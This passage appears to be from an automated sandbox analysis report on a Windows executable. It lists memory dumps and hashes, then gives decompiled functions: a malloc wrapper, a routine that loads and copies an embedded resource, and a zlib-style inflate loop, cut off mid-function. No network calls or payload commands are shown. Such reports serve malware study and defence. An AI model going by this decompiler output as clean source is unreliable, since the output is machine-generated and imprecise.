Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f3e3bcd985b7116f2e278ca1f63563343cb74ac780ccfe8d01fc63c74dc0a7b9
Instruction ID: fe9ec2d3ce91f197954555b3d321bf450e8b3086e077a3996b15cea7c2da6c74
Opcode Fuzzy Hash: f3e3bcd985b7116f2e278ca1f63563343cb74ac780ccfe8d01fc63c74dc0a7b9
Instruction Fuzzy Hash: 7CB01275205100BFCA024B00FF04F457E32F750B00F01C830B214000F4C3315420EB0C

Uniqueness

Uniqueness Score: -1.00%

Function 00411680, Relevance: 1.3, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411680(signed int _a8, signed int _a12) {
				void* _t5;

				_t5 = malloc(_a8 * _a12); // executed
				return _t5;
			}

0x0041168a
0x00411693

APIs

malloc.MSVCRT ref: 0041168A

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 79a084c717a70a2b6305951e947b0b2a2d876109babb2668130023696ffd0b55
Instruction ID: a7d40c5f4997ffdb313d2f9b6f16fb7c047b00c477a8a3c9f473b961936b746c
Opcode Fuzzy Hash: 79a084c717a70a2b6305951e947b0b2a2d876109babb2668130023696ffd0b55
Instruction Fuzzy Hash: 9FB09275404202AFCA04CB54EA8980ABBA8AE90210F818824F04A8A021C234E1148A0B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004026B8, Relevance: 4.5, APIs: 3, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004026B8(void* __eflags, struct HINSTANCE__* _a4, struct HRSRC__* _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v20;
				intOrPtr _t16;
				void** _t17;

				_push(0);
				_push(0);
				E0040DF60();
				_v8 = LoadResource(_a4, _a8);
				 *0x417018 = SizeofResource(_a4, _a8);
				_v8 = E00409B40( *0x417018);
				E00409C20(_v12, _v8,  *0x417018);
				FreeResource( *_t17);
				_t16 = _v20;
				return _t16;
			}

0x004026ba
0x004026bb
0x004026bc
0x004026ce
0x004026de
0x004026ee
0x00402700
0x00402708
0x0040270d
0x00402718

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000001B,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C), ref: 0040DF77

LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000), ref: 004026C9
SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004026D9

Part of subcall function 00409B40: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409B51

Part of subcall function 00409C20: memcpy.MSVCRT ref: 00409C30

FreeResource.KERNEL32(?,00638AF0,00638AF0,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 00402708

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$AllocateFreeHeapLoadSizeofValuememcpy
String ID:
API String ID: 4216414443-0
Opcode ID: bd44d20d037d9532e60a93529e8716f693fb4c78f82d9fc58d9a64d43f7a450a
Instruction ID: aef506374d55060129c4874ad09f8e19456ab50fe59ad62301b1ec8aa9f30053
Opcode Fuzzy Hash: bd44d20d037d9532e60a93529e8716f693fb4c78f82d9fc58d9a64d43f7a450a
Instruction Fuzzy Hash: 3EF07471408301AFDB01AF61DD0186EBEB1FB98344F108C3EB584621B1D7369969AB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E800, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 666
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040E800() {
				signed int _t719;
				signed int _t721;
				signed char* _t766;
				signed int* _t771;
				signed int _t784;
				void** _t794;
				signed int _t798;
				signed int _t805;
				void* _t812;

				_t771 =  *(_t812 + 4);
				if(_t771 == 0) {
					L369:
					return 0xfffffffe;
				} else {
					_t794 = _t771[7];
					 *(_t812 + 0x14) = _t794;
					if(_t794 == 0 || _t771[3] == 0 ||  *_t771 == 0 && _t771[1] != 0) {
						goto L369;
					} else {
						if( *_t794 == 0xb) {
							 *_t794 = 0xc;
						}
						_t784 = _t794[0xe];
						 *(_t812 + 0x18) = _t771[3];
						_t719 = _t771[4];
						 *(_t812 + 0x10) = _t719;
						 *(_t812 + 0x20) = _t719;
						_t805 = _t771[1];
						 *((intOrPtr*)(_t812 + 0x28)) = 0;
						_t721 =  *_t794;
						 *(_t812 + 0x10) =  *_t771;
						 *(_t812 + 0xc) = _t784;
						 *(_t812 + 0x38) = _t805;
						_t798 = _t794[0xf];
						if(_t721 > 0x1e) {
							L184:
							return 0xfffffffe;
						} else {
							 *(_t812 + 0x40) =  &(_t794[0x15]);
							_t766 =  *(_t812 + 0x14);
							do {
								switch( *((intOrPtr*)(_t721 * 4 +  &M0040FE40))) {
									case 0:
										_t723 = _t794[2];
										if(_t723 != 0) {
											__eflags = _t798 - 0x10;
											if(_t798 >= 0x10) {
												L17:
												__eflags = _t723 & 0x00000002;
												if((_t723 & 0x00000002) == 0) {
													L20:
													_t724 = _t794[8];
													_t794[4] = 0;
													__eflags = _t724;
													if(_t724 != 0) {
														 *(_t724 + 0x30) = 0xffffffff;
													}
													__eflags = _t794[2] & 0x00000001;
													if((_t794[2] & 0x00000001) == 0) {
														L32:
														_t771[6] = "incorrect header check";
														 *_t794 = 0x1d;
													} else {
														_t727 = (_t784 >> 8) + ((_t784 & 0x000000ff) << 8);
														__eflags = _t727 % 0x1f;
														_t784 =  *(_t812 + 0x10);
														if(_t727 % 0x1f != 0) {
															_t771 =  *(_t812 + 0x48);
															goto L32;
														} else {
															__eflags = (_t784 & 0x0000000f) - 8;
															if((_t784 & 0x0000000f) == 8) {
																_t731 = _t794[9];
																_t798 = _t798 - 4;
																_t784 = _t784 >> 4;
																 *(_t812 + 0x10) = _t784;
																_t777 = (_t784 & 0x0000000f) + 8;
																__eflags = _t731;
																if(_t731 != 0) {
																	__eflags = _t777 - _t731;
																	if(_t777 <= _t731) {
																		goto L28;
																	} else {
																		_t771 =  *(_t812 + 0x48);
																		_t771[6] = "invalid window size";
																		 *_t794 = 0x1d;
																	}
																} else {
																	_t794[9] = _t777;
																	L28:
																	_push(0);
																	_push(0);
																	_push(0);
																	_t794[5] = 1 << _t777;
																	_t734 = E00410AD0();
																	_t789 =  *(_t812 + 0x1c);
																	_t812 = _t812 + 0xc;
																	_t771 =  *(_t812 + 0x48);
																	_t794[6] = _t734;
																	_t771[0xc] = _t734;
																	 *_t794 =  !(_t789 >> 8) & 0x00000002 | 0x00000009;
																	_t784 = 0;
																	 *(_t812 + 0x10) = 0;
																	_t798 = 0;
																}
															} else {
																_t771 =  *(_t812 + 0x48);
																_t771[6] = "unknown compression method";
																 *_t794 = 0x1d;
															}
														}
													}
												} else {
													__eflags = _t784 - 0x8b1f;
													if(_t784 != 0x8b1f) {
														goto L20;
													} else {
														_push(0);
														_push(0);
														_push(0);
														_t794[6] = E004102D0();
														_push(2);
														_push(_t812 + 0x28);
														 *((short*)(_t812 + 0x30)) = 0x8b1f;
														_push(_t794[6]);
														_t737 = E004102D0();
														_t784 = 0;
														_t794[6] = _t737;
														_t812 = _t812 + 0x18;
														 *(_t812 + 0x10) = 0;
														_t798 = 0;
														 *_t794 = 1;
														goto L182;
													}
												}
												goto L183;
											} else {
												while(1) {
													__eflags = _t805;
													if(_t805 == 0) {
														goto L103;
													}
													_t761 = ( *_t766 & 0x000000ff) << _t798;
													_t766 =  &(_t766[1]);
													_t784 = _t784 + _t761;
													 *(_t812 + 0x14) = _t766;
													_t798 = _t798 + 8;
													 *(_t812 + 0x10) = _t784;
													_t805 = _t805 - 1;
													__eflags = _t798 - 0x10;
													if(_t798 < 0x10) {
														continue;
													} else {
														_t723 = _t794[2];
														_t771 =  *(_t812 + 0x48);
														goto L17;
													}
													goto L370;
												}
												goto L103;
											}
										} else {
											 *_t794 = 0xc;
											goto L183;
										}
										goto L370;
									case 1:
										__eflags = __esi - 0x10;
										if(__esi >= 0x10) {
											L37:
											 *(__edi + 0x10) = __edx;
											__eflags = __dl - 8;
											if(__dl == 8) {
												__eflags = __edx & 0x0000e000;
												if((__edx & 0x0000e000) == 0) {
													__ecx =  *(__edi + 0x20);
													__eflags = __ecx;
													if(__ecx != 0) {
														__edx = __edx >> 8;
														__eax = __edx >> 0x00000008 & 0x00000001;
														__eflags = __eax;
														 *__ecx = __eax;
													}
													__eflags =  *(__edi + 0x10) & 0x00000200;
													if(( *(__edi + 0x10) & 0x00000200) != 0) {
														 *(__esp + 0x1c) = __dl;
														__eax = __esp + 0x1c;
														_push(2);
														__eflags = __edx;
														_push(__eax);
														 *(__esp + 0x25) = __dl;
														_push( *(__edi + 0x18));
														__eax = E004102D0();
														__esp = __esp + 0xc;
														 *(__edi + 0x18) = __eax;
													}
													__edx = 0;
													 *__edi = 2;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													goto L48;
												} else {
													 *(__ecx + 0x18) = "unknown header flags set";
													 *__edi = 0x1d;
													goto L183;
												}
											} else {
												 *(__ecx + 0x18) = "unknown compression method";
												 *__edi = 0x1d;
												goto L183;
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x10;
												if(__esi < 0x10) {
													continue;
												} else {
													__ecx =  *(__esp + 0x48);
													goto L37;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 2:
										__eflags = __esi - 0x20;
										if(__esi >= 0x20) {
											L50:
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 4) = __edx;
											}
											__eflags =  *(__edi + 0x10) & 0x00000200;
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												__eax = __edx;
												 *(__esp + 0x1c) = __dl;
												__eax = __edx >> 8;
												 *(__esp + 0x1d) = __al;
												__edx = __edx >> 0x10;
												 *(__esp + 0x1e) = __al;
												__eax = __esp + 0x1c;
												_push(4);
												__eflags = __edx;
												_push(__eax);
												 *(__esp + 0x27) = __dl;
												_push( *(__edi + 0x18));
												__eax = E004102D0();
												__esp = __esp + 0xc;
												 *(__edi + 0x18) = __eax;
											}
											__edx = 0;
											 *__edi = 3;
											 *(__esp + 0x10) = 0;
											__esi = 0;
											goto L57;
										} else {
											while(1) {
												L48:
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x20;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L50;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 3:
										__eflags = __esi - 0x10;
										if(__esi >= 0x10) {
											L59:
											__ecx =  *(__edi + 0x20);
											__eflags = __ecx;
											if(__ecx != 0) {
												__eax = __dl & 0x000000ff;
												 *(__ecx + 8) = __dl & 0x000000ff;
												__ecx = __edx;
												__eax =  *(__edi + 0x20);
												__ecx = __edx >> 8;
												__eflags = __ecx;
												 *(0xc +  *(__edi + 0x20)) = __ecx;
											}
											__eflags =  *(__edi + 0x10) & 0x00000200;
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __dl;
												__eax = __esp + 0x1c;
												_push(2);
												__eflags = __edx;
												_push(__eax);
												 *(__esp + 0x25) = __dl;
												_push( *(__edi + 0x18));
												__eax = E004102D0();
												__esp = __esp + 0xc;
												 *(__edi + 0x18) = __eax;
											}
											__edx = 0;
											 *__edi = 4;
											 *(__esp + 0x10) = 0;
											__esi = 0;
											__eflags = 0;
											goto L64;
										} else {
											while(1) {
												L57:
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x10;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L59;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 4:
										L64:
										__eflags =  *(__edi + 0x10) & 0x00000400;
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 0x10) = 0;
											}
											goto L75;
										} else {
											__eflags = __esi - 0x10;
											if(__esi >= 0x10) {
												L68:
												__eax =  *(__edi + 0x20);
												 *(__edi + 0x40) = __edx;
												__eflags = __eax;
												if(__eax != 0) {
													 *(__eax + 0x14) = __edx;
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													 *(__esp + 0x1c) = __dl;
													__eax = __esp + 0x1c;
													_push(2);
													__eflags = __edx;
													_push(__eax);
													 *(__esp + 0x25) = __dl;
													_push( *(__edi + 0x18));
													__eax = E004102D0();
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
												}
												__ecx = 0;
												__esi = 0;
												 *(__esp + 0x10) = 0;
												L75:
												 *__edi = 5;
												goto L76;
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L103;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__edx = __edx + __eax;
													 *(__esp + 0x14) = __ebx;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__eflags = __esi - 0x10;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L68;
													}
													goto L370;
												}
												goto L103;
											}
										}
										goto L370;
									case 5:
										L76:
										__eflags =  *(__edi + 0x10) & 0x00000400;
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											L90:
											 *(__edi + 0x40) = 0;
											 *__edi = 6;
											goto L91;
										} else {
											__ecx =  *(__edi + 0x40);
											 *(__esp + 0x34) = __ecx;
											__eflags = __ecx - __ebp;
											if(__ecx > __ebp) {
												__ecx = __ebp;
												 *(__esp + 0x34) = __ebp;
											}
											__eflags = __ecx;
											if(__ecx != 0) {
												__edx =  *(__edi + 0x20);
												__eflags = __edx;
												if(__edx != 0) {
													__eax =  *(__edx + 0x10);
													 *(__esp + 0x30) = __eax;
													__eflags = __eax;
													if(__eax != 0) {
														__eax =  *(__edx + 0x14);
														__eax =  *(__edx + 0x14) -  *(__edi + 0x40);
														__edx =  *(__edx + 0x18);
														 *(__esp + 0x38) = __eax;
														__eflags = __eax - __edx;
														__eax =  *(__esp + 0x38);
														if(__eflags <= 0) {
															__edx = __ecx;
														} else {
															__edx = __edx - __eax;
														}
														__eax = __eax +  *(__esp + 0x30);
														__eflags = __eax;
														__eax = memcpy(__eax, __ebx, __edx);
														__ecx =  *(__esp + 0x40);
														__esp = __esp + 0xc;
													}
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													_push(__ecx);
													_push(__ebx);
													_push( *(__edi + 0x18));
													__eax = E004102D0();
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x34);
												__ebx = __ebx + __eax;
												__ebp = __ebp - __eax;
												 *(__esp + 0x14) = __ebx;
												_t152 = __edi + 0x40;
												 *_t152 =  *(__edi + 0x40) - __eax;
												__eflags =  *_t152;
											}
											__eflags =  *(__edi + 0x40);
											if( *(__edi + 0x40) != 0) {
												goto L103;
											} else {
												goto L90;
											}
										}
										goto L370;
									case 6:
										L91:
										__eflags =  *(__edi + 0x10) & 0x00000800;
										if(( *(__edi + 0x10) & 0x00000800) == 0) {
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 0x1c) = 0;
											}
											goto L116;
										} else {
											__eflags = __ebp;
											if(__ebp == 0) {
												goto L103;
											} else {
												__ecx = 0;
												__eflags = 0;
												while(1) {
													__eax =  *(__ebx + __ecx) & 0x000000ff;
													__ecx = 1 + __ecx;
													 *(__esp + 0x34) = __eax;
													__eax =  *(__edi + 0x20);
													__eflags = __eax;
													if(__eax != 0) {
														__edx =  *(__eax + 0x1c);
														__eflags =  *(__eax + 0x1c);
														if( *(__eax + 0x1c) != 0) {
															__edx =  *(__edi + 0x40);
															__eflags = __edx -  *((intOrPtr*)(__eax + 0x20));
															if(__edx <  *((intOrPtr*)(__eax + 0x20))) {
																__eax =  *(__eax + 0x1c);
																__ebx =  *(__esp + 0x34);
																 *(__eax + __edx) = __bl;
																_t168 = __edi + 0x40;
																 *_t168 = 1 +  *(__edi + 0x40);
																__eflags =  *_t168;
																__ebx =  *(__esp + 0x14);
															}
														}
													}
													__eax =  *(__esp + 0x34);
													__eflags = __eax;
													if(__eax == 0) {
														break;
													}
													__eflags = __ecx - __ebp;
													if(__ecx < __ebp) {
														continue;
													}
													break;
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												 *(__esp + 0x38) = __ecx;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													_push(__ecx);
													_push(__ebx);
													_push( *(__edi + 0x18));
													__eax = E004102D0();
													__ecx =  *(__esp + 0x44);
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x34);
												}
												__ebx = __ebx + __ecx;
												__ebp = __ebp - __ecx;
												 *(__esp + 0x14) = __ebx;
												__eflags = __eax;
												if(__eax == 0) {
													L116:
													 *(__edi + 0x40) = 0;
													 *__edi = 7;
													goto L117;
												} else {
													goto L103;
												}
											}
										}
										goto L370;
									case 7:
										L117:
										__eflags =  *(__edi + 0x10) & 0x00001000;
										if(( *(__edi + 0x10) & 0x00001000) == 0) {
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 0x24) = 0;
											}
											goto L132;
										} else {
											__eflags = __ebp;
											if(__ebp == 0) {
												goto L103;
											} else {
												__ecx = 0;
												__eflags = 0;
												while(1) {
													__eax =  *(__ebx + __ecx) & 0x000000ff;
													__ecx = 1 + __ecx;
													 *(__esp + 0x34) = __eax;
													__eax =  *(__edi + 0x20);
													__eflags = __eax;
													if(__eax != 0) {
														__edx =  *(__eax + 0x24);
														__eflags =  *(__eax + 0x24);
														if( *(__eax + 0x24) != 0) {
															__edx =  *(__edi + 0x40);
															__eflags = __edx -  *((intOrPtr*)(__eax + 0x28));
															if(__edx <  *((intOrPtr*)(__eax + 0x28))) {
																__eax =  *(__eax + 0x24);
																__ebx =  *(__esp + 0x34);
																 *(__eax + __edx) = __bl;
																_t213 = __edi + 0x40;
																 *_t213 = 1 +  *(__edi + 0x40);
																__eflags =  *_t213;
																__ebx =  *(__esp + 0x14);
															}
														}
													}
													__eax =  *(__esp + 0x34);
													__eflags = __eax;
													if(__eax == 0) {
														break;
													}
													__eflags = __ecx - __ebp;
													if(__ecx < __ebp) {
														continue;
													}
													break;
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												 *(__esp + 0x38) = __ecx;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													_push(__ecx);
													_push(__ebx);
													_push( *(__edi + 0x18));
													__eax = E004102D0();
													__ecx =  *(__esp + 0x44);
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x34);
												}
												__ebx = __ebx + __ecx;
												__ebp = __ebp - __ecx;
												 *(__esp + 0x14) = __ebx;
												__eflags = __eax;
												if(__eax != 0) {
													goto L103;
												} else {
													L132:
													__edx =  *(__esp + 0x10);
													 *__edi = 8;
													goto L133;
												}
											}
										}
										goto L370;
									case 8:
										L133:
										__eflags =  *(__edi + 0x10) & 0x00000200;
										if(( *(__edi + 0x10) & 0x00000200) == 0) {
											L141:
											__ecx =  *(__edi + 0x20);
											__eflags = __ecx;
											if(__ecx != 0) {
												 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
												__eax =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												__eflags = __eax;
												 *(__ecx + 0x2c) = __eax;
												__eax =  *(__edi + 0x20);
												 *( *(__edi + 0x20) + 0x30) = 1;
											}
											_push(0);
											_push(0);
											_push(0);
											__eax = E004102D0();
											__ecx =  *(__esp + 0x54);
											__esp = __esp + 0xc;
											__edx =  *(__esp + 0x10);
											 *(__edi + 0x18) = __eax;
											 *(__ecx + 0x30) = __eax;
											 *__edi = 0xb;
											goto L183;
										} else {
											__eflags = __esi - 0x10;
											if(__esi >= 0x10) {
												L138:
												__eax =  *(__edi + 0x18) & 0x0000ffff;
												__eflags = __edx - __eax;
												if(__edx == __eax) {
													__ecx = 0;
													__esi = 0;
													__eflags = 0;
													 *(__esp + 0x10) = 0;
													goto L141;
												} else {
													__ecx =  *(__esp + 0x48);
													 *(__ecx + 0x18) = "header crc mismatch";
													 *__edi = 0x1d;
												}
												goto L183;
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L103;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__edx = __edx + __eax;
													 *(__esp + 0x14) = __ebx;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__eflags = __esi - 0x10;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L138;
													}
													goto L370;
												}
												goto L103;
											}
										}
										goto L370;
									case 9:
										__eflags = __esi - 0x20;
										if(__esi >= 0x20) {
											L147:
											__ecx = __edx;
											__edx = __edx << 0x10;
											__edx & 0x0000ff00 = (__edx & 0x0000ff00) + (__edx << 0x10);
											__edx = __edx >> 8;
											__ecx = (__edx & 0x0000ff00) + (__edx << 0x10) << 8;
											__eax = __edx >> 0x00000008 & 0x0000ff00;
											__eax = (__edx >> 0x00000008 & 0x0000ff00) + ((__edx & 0x0000ff00) + (__edx << 0x10) << 8);
											__edx = __edx >> 0x18;
											__ecx =  *(__esp + 0x48);
											__eax = __eax + __edx;
											__edx = 0;
											 *(__edi + 0x18) = __eax;
											 *(__esp + 0x10) = 0;
											__esi = 0;
											__eflags = 0;
											 *(__ecx + 0x30) = __eax;
											 *__edi = 0xa;
											goto L148;
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x20;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L147;
												}
												goto L370;
											}
											goto L103;
										}
										goto L370;
									case 0xa:
										L148:
										__eflags =  *(0xc + __edi);
										if( *(0xc + __edi) == 0) {
											__eax =  *(__esp + 0x24);
											 *(0xc + __ecx) =  *(__esp + 0x24);
											__eax =  *(__esp + 0x18);
											 *(__ecx + 0x10) =  *(__esp + 0x18);
											__eax = 2;
											 *__ecx = __ebx;
											 *(__ecx + 4) = __ebp;
											 *(__edi + 0x3c) = __esi;
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											 *(__edi + 0x38) = __edx;
											return 2;
										} else {
											_push(0);
											_push(0);
											_push(0);
											__eax = E00410AD0();
											__ecx =  *(__esp + 0x54);
											__esp = __esp + 0xc;
											__edx =  *(__esp + 0x10);
											 *(__edi + 0x18) = __eax;
											 *(__ecx + 0x30) = __eax;
											 *__edi = 0xb;
											goto L150;
										}
										goto L370;
									case 0xb:
										L150:
										__eax =  *(__esp + 0x4c);
										__eflags = __eax - 5;
										if(__eax == 5) {
											L351:
											__edi =  *(__esp + 0x10);
											__edx = __eax;
											goto L105;
										} else {
											__eflags = __eax - 6;
											if(__eax == 6) {
												goto L351;
											} else {
												goto L152;
											}
										}
										goto L370;
									case 0xc:
										L152:
										__eflags =  *(__edi + 4);
										if( *(__edi + 4) == 0) {
											__eflags = __esi - 3;
											if(__esi >= 3) {
												L157:
												__eax = __edx;
												__edx = __edx >> 1;
												 *(__edi + 4) = __eax;
												__eax = __edx;
												__eax = __edx & 0x00000003;
												__eflags = __eax - 3;
												if(__eax > 3) {
													L160:
													__ecx =  *(__esp + 0x48);
													__edx = __edx >> 2;
													__esi = __esi - 3;
													 *(__esp + 0x10) = __edx;
													goto L183;
												} else {
													switch( *((intOrPtr*)(__eax * 4 +  &M0040FEBC))) {
														case 0:
															 *__edi = 0xd;
															goto L160;
														case 1:
															__eflags =  *(__esp + 0x4c) - 6;
															 *(__edi + 0x4c) = 0x412738;
															 *(__edi + 0x54) = 9;
															 *(__edi + 0x50) = 0x412f38;
															 *(__edi + 0x58) = 5;
															 *__edi = 0x13;
															if( *(__esp + 0x4c) != 6) {
																goto L160;
															} else {
																__edx = __edx >> 2;
																__esi = __esi - 3;
																 *(__esp + 0x10) = __edx;
																goto L103;
															}
															goto L370;
														case 2:
															_t274 = __esp + 0x48; // 0x9
															__ecx =  *_t274;
															__edx = __edx >> 2;
															__esi = __esi - 3;
															 *__edi = 0x10;
															 *(__esp + 0x10) = __edx;
															goto L183;
														case 3:
															_t276 = __esp + 0x48; // 0x9
															__ecx =  *_t276;
															__edx = __edx >> 2;
															__esi = __esi - 3;
															 *(__esp + 0x10) = __edx;
															 *(__ecx + 0x18) = "invalid block type";
															 *__edi = 0x1d;
															goto L183;
													}
												}
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L103;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__edx = __edx + __eax;
													 *(__esp + 0x14) = __ebx;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__eflags = __esi - 3;
													if(__esi < 3) {
														continue;
													} else {
														goto L157;
													}
													goto L370;
												}
												goto L103;
											}
										} else {
											__ecx = __esi;
											 *__edi = 0x1a;
											__ecx = __esi & 0x00000007;
											__edx = __edx >> __cl;
											__esi = __esi - __ecx;
											 *(__esp + 0x10) = __edx;
											goto L182;
										}
										goto L370;
									case 0xd:
										__esi = __esi & 0x00000007;
										__edx = __edx >> __cl;
										__esi = __esi - (__esi & 0x00000007);
										 *(__esp + 0x10) = __edx;
										__eflags = __esi - 0x20;
										if(__esi >= 0x20) {
											L169:
											__eax = __edx;
											__ecx = __edx;
											__eax =  !__edx;
											__ecx = __edx & 0x0000ffff;
											__eax =  !__edx >> 0x10;
											__eflags = __ecx - __eax;
											if(__ecx == __eax) {
												__edx = 0;
												 *(__edi + 0x40) = __ecx;
												__esi = 0;
												 *(__esp + 0x10) = 0;
												__eflags =  *(__esp + 0x4c) - 6;
												 *__edi = 0xe;
												if( *(__esp + 0x4c) == 6) {
													__edi = 0;
													goto L104;
												} else {
													__ecx =  *(__esp + 0x48);
													goto L173;
												}
											} else {
												__ecx =  *(__esp + 0x48);
												 *(__ecx + 0x18) = "invalid stored block lengths";
												 *__edi = 0x1d;
												goto L183;
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L103;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
